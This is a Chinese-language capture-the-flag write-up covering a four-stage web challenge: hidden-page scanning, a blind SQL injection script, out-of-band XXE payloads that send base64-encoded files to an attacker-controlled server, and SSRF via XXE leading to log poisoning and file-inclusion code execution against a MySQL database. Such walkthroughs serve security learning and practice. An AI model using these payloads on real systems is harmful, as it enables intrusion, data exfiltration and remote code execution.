工具安装
1. burpsuite
- 下载pentestBox之后直接点击bin目录下burpsuite的jar包使用默认设置;
- 浏览器这边firefox下载FoxyProxy插件设置代理127.0.0.1
2. dirhunt
win下打开cmd
$pip install dirhunt
3. Xshell
下载安装连接服务器即可
flag_1:扫描隐藏页面
flag{warm_up}
先dirhunt扫描隐藏的页面:
(ps.dirhunt安装直接pip install dirhunt就行)
- 于是访问124.16.75.162:40006/index.php
- 在burpSuite保证 “intercept is on”
- 然后不断点击forward
- 在HTTPS History->找到index.php记录->response标签窗口得到flag:
flag_2:盲注
flag{admin_pass_is_awedc123Z}
点击“点我看gakki”跳转到hint.php界面,根据上一个flag分析可得hint表存在id、hint两个字段。
实验id=1之后接上union、select、from等字段都已经被过滤。
进行un/**/ion等绕过攻击仍然无法查询,于是想到盲注,下面介绍两种盲注方法:
url = "http://124.16.75.162:40006/hint.php?id=id=1"+and+(if(mid(hint,1,1)>'a',1,pow(999,999)))%23"
- mid的意思是从hint的第一个字母开始截取一个字符长度。
- (if(A),B,C)的含义的意思是判断A城里的时候执行B否则执行C,这里C是pow(999,999)求高次方会引发数据库崩溃报错,由此判断对应的hint值是哪个字符。
为了高效遍历整个flag字符串写python脚本如下:
import requests
flag = ""
for i in range(1,100):
print("the %d st"%i)
for ch in range(48,126):
if((ch >= 91 and ch <= 96 ) or ch == 35 or ch == 37):
continue
url = "http://124.16.75.162:40006/hint.php?id=2\"+and+(if(mid(hint,%d,1)>'%s',"%(i,chr(ch))+"1,pow(999,999999)))%23"
#print(chr(ch))
data = requests.get(url)
#print(data.text)
if("sql" in data.text):
print(chr(ch))
flag += chr(ch)
break
print(flag)
#输出:flag{admin 0 pass 0 is 0 awedc123Z}也可将a替换成“_”得到login页面的账号是admin密码是awedc123Z
flag_3:xxe
flag{gakki_is_watching_you}
在该页面点击submit这是抓包可以看到发送了一个空数据:
在data后添加:
data=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"php://filter/convert.base64-encode/resource=/tmp/index.php.bak">
<!ENTITY % dtd SYSTEM "http://vps_cpr/xxe_cpr.xml">
%dtd; %send;
]>
/*注意data后面不能换行*/
在服务器上新建xxe_cpr.xml:
<!ENTITY % payload2
"<!ENTITY % send SYSTEM 'http://vps_cpr/%file;'>"
>
%payload2;
整个的调用过程如下:解析时%dtd引入xxe_cpr.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload2经过url编码。查看vps上的access.log:
这个暂时还用不到,同理构造读取flag.php传送数据的xml:
/这儿少一段怎么意识到探测flag.php的/
data=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"php://filter/convert.base64-encode/resource=flag.php"
>
<!ENTITY % dtd SYSTEM
"http://120.78.203.136:81/xxe_cpr.xml"
>
%dtd;
%send;
]>
flag_4:SSRF
flag{log_is_ez_to_include}
首先vps放文件file.dtd,内容如下:
漏洞处(也就是burpsuite上跟在data后面)
data=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps_cpr/file.dtd">
%remote;
%int;
%trick;]
>
服务器端建立file_cpr.dtd查看漏洞处的域名文件:
<!ENTITY % payl SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///etc/hosts"
>
<!ENTITY % int
"<!ENTITY % trick SYSTEM 'http://vps_cpr/?p=%payl;'>"
>
结果如下图:发现一个未知内网172.26.0.5然后srrf查看漏洞处/proc/net/arp
漏洞处:
data=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps_cpr/file_cpr_arp.dtd">
%remote;
%int;
%trick;]>
服务器处的file_cpr_arp.dtd:
<!ENTITY % payl SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///proc/net/arp">
<!ENTITY % int
"<!ENTITY % trick SYSTEM 'http://120.78.203.136:81/?p=%payl;'>">
得到所有内网显示如下:
IP address HW type Flags HW address Mask Device
172.26.0.7 0x1 0x0 00:00:00:00:00:00 * eth0
172.26.0.1 0x1 0x2 02:42:ef:87:8a:aa * eth0
172.26.0.3 0x1 0x2 02:42:ac:1a:00:03 * eth0
172.26.0.8 0x1 0x0 00:00:00:00:00:00 * eth0
172.26.0.4 0x1 0x2 02:42:ac:1a:00:04 * eth0
172.26.0.6 0x1 0x0 00:00:00:00:00:00 * eth0
172.26.0.2 0x1 0x2 02:42:ac:1a:00:02 * eth0
于是挨个探索不同内网段是否包含log_hahahaha.php等文件:
漏洞端输入:
data=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps_cpr/file_cpr.dtd">
%remote;
%int;
%trick;]>
服务器端构造file_cpr.dtd:
<!ENTITY % payload SYSTEM
"http://172.26.0.4/index.php?file=php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % int
"<!ENTITY % trick SYSTEM 'http://vps_cpr/get.php?file=%payload;'>">
%int;
%trick;
SSRF读取index.php:
<?php
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"))
{
echo "Oh no!";
exit();
}
include($file);
//log_hahahaha.php
//dump_lalalalala.sql
?>
同理得到dump_lalalalala.sql:
USE `flag`;
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` VARCHAR(100)
);
CREATE USER 'rebirth'@'%';
GRANT USAGE ON *.* TO 'rebirth'@'%';
GRANT SELECT ON `flag`.* TO 'rebirth'@'%';
得到log_hahahaha.php(四个ha!!!)
<?php
error_reporting(0);
class Awd
{
public function __construct($filepath)
{
$this->filepath = $filepath;
}
public function Flow()
{
$HTTP_Method = $_SERVER['REQUEST_METHOD'];
if(!file_exists($this->filepath))
{
mkdir($this->filepath,0777);
}
$filename = $this->filepath."access.log";
$request_url = $_SERVER['REQUEST_URI'];
$protocol = $_SERVER['SERVER_PROTOCOL'];
$ip = $_SERVER['REMOTE_ADDR'];
$time = date('Y/m/d h:i:s');
$content = $ip."\t".$time."\t\n".$HTTP_Method.' '.$request_url.' '.$protocol."\r\n";
if (isset($_GET['log'])) $content=urldecode($_GET['log']);
file_put_contents($filename,$content,FILE_APPEND);
}
}
if(isset($_GET['auth'])){
if(preg_match("/[^A-Za-z]/",$_GET['auth']))
{die();}
}
else{
die();
}
if(file_exists("/home/log/".$_GET['auth']."/access.log"))
@unlink("/home/log/".$_GET['auth']."/access.log");
$Catchs = new Awd("/home/log/".$_GET['auth']."/");
$Catchs->Flow();
?>
分析log_hahahaha.php和dump_lalalalala.sql文件可知:
仔细阅读上面两个文件代码,可以发现php文件是创建传入参数auth和参数log并写入,并把log后面传入的内容写入/home/log/[auth]/access.log中。sql文件是提示存在mysql数据库,host名为mysql,表名为flag,用户名为rebirth,并且用户rebirth有执行select的权限。 于是我们构造一个用户名作为auth传入的参数,读取mysql数据库的php代码作为log传入的参数。 我们想要创建一个hackerz的用户名,然后把读取mysql数据库的php代码通过URL编码,注意php代码要合并到一行里,php为:
<?php $con = new mysqli("mysql", "rebirth", "", "flag"); if ($con->connect_error) {echo "fail";} $sql = "SELECT * FROM flag"; $result = $con->query($sql);if ($result->num_rows > 0) {while($row = $result->fetch_row()) {echo base64_encode($row[0]);}}else {echo "0";};$con->close();?>
<?php $con = new mysqli("mysql", "rebirth", "", "flag");
if ($con->connect_error) {echo "fail";}
$sql = "SELECT * FROM flag";
$result = $con->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_row()) {
echo base64_encode($row[0]);
}
}else {echo "0";};
$con->close();
?>
然后对该php代码进行url编码,然后构造请求log_hahahaha.php来创建用户hackerz和上传log内容的URL,再合并到xxe.xml,同样通过之前xxe的方式来完成上传php文件到/home/log/hackerz/access.log的过程。 此时放在我们服务器上的xxe.xml:
<!ENTITY % payload SYSTEM
"http://172.26.0.4/log_hahahaha.php?auth=hackerz&log=%3c%3fphp+%24con+%3d+new+mysqli(%22mysql%22%2c+%22rebirth%22%2c+%22%22%2c+%22flag%22)%3b+if+(%24con-%3econnect_error)+%7becho+%22fail%22%3b%7d+%24sql+%3d+%22SELECT+*+FROM+flag%22%3b+%24result+%3d+%24con-%3equery(%24sql)%3bif+(%24result-%3enum_rows+%3e+0)+%7bwhile(%24row+%3d+%24result-%3efetch_row())+%7becho+base64_encode(%24row%5b0%5d)%3b%7d%7delse+%7becho+%220%22%3b%7d%3b%24con-%3eclose()%3b%3f%3e">
<!ENTITY % int
"<!ENTITY % trick SYSTEM 'http://39.96.57.253/get.php?file=%payload;'>">
%int;
%trick;
然后我们要利用index.php的漏洞来使得这个access.log文件中的php代码被执行,构造放在我们服务器上的xxe_file.xml:
<!ENTITY % payload SYSTEM
"http://172.26.0.4/index.php?file=/home/log/hackerz/access.log">
<!ENTITY % int
"<!ENTITY % trick SYSTEM 'http://39.96.57.253/get.php?file=%payload;'>">
%int;
%trick;
再依照前面xxe过程进行两次,输入框中需要修改的内容分别是先执行xxe.xml然后执行xxe_file.xml。最后功夫不负有心人,在file=后面成功拿到了echo的返回值得到最终结果: